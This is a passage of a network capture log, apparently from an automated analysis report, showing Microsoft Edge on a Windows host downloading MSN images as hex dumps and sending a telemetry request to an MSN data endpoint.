00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 14:18:06 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-28 14:18:06 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-28 14:18:07 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-28 14:18:07 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49906	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:06 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:07 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=157418 Expires: Sat, 30 Nov 2024 10:01:44 GMT Date: Thu, 28 Nov 2024 14:18:06 GMT Connection: close
2024-11-28 14:18:07 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=
2024-11-28 14:18:07 UTC	1968	IN	Data Raw: 1b e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-28 14:18:07 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-28 14:18:07 UTC	16384	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-28 14:18:07 UTC	7952	IN	Data Raw: 54 59 24 27 4d b8 a4 04 d7 e6 03 09 5f a9 5c 51 85 5c 57 70 3b b3 63 e8 b2 9a 90 0f 3d 55 f2 76 2e db 98 09 a6 c2 91 1e 66 1a 5d be df 2e dd fb f1 b0 b9 3e 64 0d e0 aa a4 a8 ce d5 4d 7b df 24 f5 0a 3f 4a 8e d8 fa 48 df 25 e9 a4 53 b2 84 c6 d0 a1 a7 b9 5e 0d fa 16 71 03 70 9a 71 a3 3e 62 8f 28 af 1f e8 54 c4 7e 62 fd b4 56 e1 48 03 e8 4a 8c c7 21 40 f2 55 d6 6a 9d 4a 52 e7 e1 a9 3f d5 5f 93 d4 36 8e a9 5a b0 c2 9e 0a 9f 36 15 cf cb 83 a7 44 2b 31 04 ed 64 34 5f e5 b7 bd a4 86 ef a9 99 74 a9 30 53 49 dc 08 31 94 e7 5c 4c b0 ca c9 8e c0 9c 49 18 f0 c9 ec 84 ea 10 91 3f dc 0e 52 36 38 9e 98 a6 b0 39 e3 c6 68 5f 5a 9c 56 1e e6 54 62 6b bc 0e 66 3c 1c 00 ba b5 13 52 66 a4 d7 3c ab 83 d8 2b 13 92 60 91 59 15 dd 88 cf 6b 52 ae 50 e9 ec a8 13 31 5e 53 ec 7a ea ff Data Ascii: TY$'M_\Q\Wp;c=Uv.f].>dM{$?JH%S^qpq>b(T~bVHJ!@UjJR?_6Z6D+1d4_t0SI1\LI?R689h_ZVTbkf<Rf<+`YkRP1^Sz
2024-11-28 14:18:07 UTC	15417	IN	Data Raw: 02 89 1d ef 0d 2e f0 00 e6 c5 d4 d0 8c f7 87 c9 46 c8 d9 1f 3d 8d be b2 ee 11 5a 52 06 19 32 ca 8a 4d 53 98 26 45 7c e1 eb a9 ad e8 00 0d b2 7e 9a 56 22 73 e5 ed 71 28 52 7e 20 63 30 2b 1c 59 02 e9 51 09 a0 c2 7d c5 1d 69 52 0a ab 22 0d 46 3c c3 76 f9 88 08 ce d7 23 50 30 f7 c5 cd 48 cc 8a ee c6 18 a6 b8 47 37 a8 12 21 2f 86 ac 1d 4f 1f 7d ce 24 b6 01 12 b0 76 53 df 6b b9 48 ce a4 ec fb e0 f8 2f 0d dc 8b 44 0c 48 68 0a cc e2 e4 01 06 32 e6 d9 0a 02 82 9b dc 90 89 35 ec f3 60 0d 4e 9d 24 c5 71 cf 63 1d 24 ea 3c 99 8b 54 76 45 1c 52 35 6e cc 63 83 81 85 db 29 89 56 c1 1e c6 a3 7b 3e c8 8c a5 b5 48 ec a4 26 b2 04 9e fc b6 31 08 19 04 9a 52 38 d4 d6 5c 2a 63 22 2e 95 28 19 8f 7d c1 b0 e9 09 a9 ac e5 53 ab 63 a8 4a 6a 47 0c a8 da 02 94 0e 91 25 55 93 1e 5b 9d Data Ascii: .F=ZR2MS&E\|~V"sq(R~ c0+YQ}iR"F<v#P0HG7!/O}$vSkH/DHh25`N$qc$<TvER5nc)V{>H&1R8\*c".(}ScJjG%U[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49908	20.189.173.2	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:09 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732803486820&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11621 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ 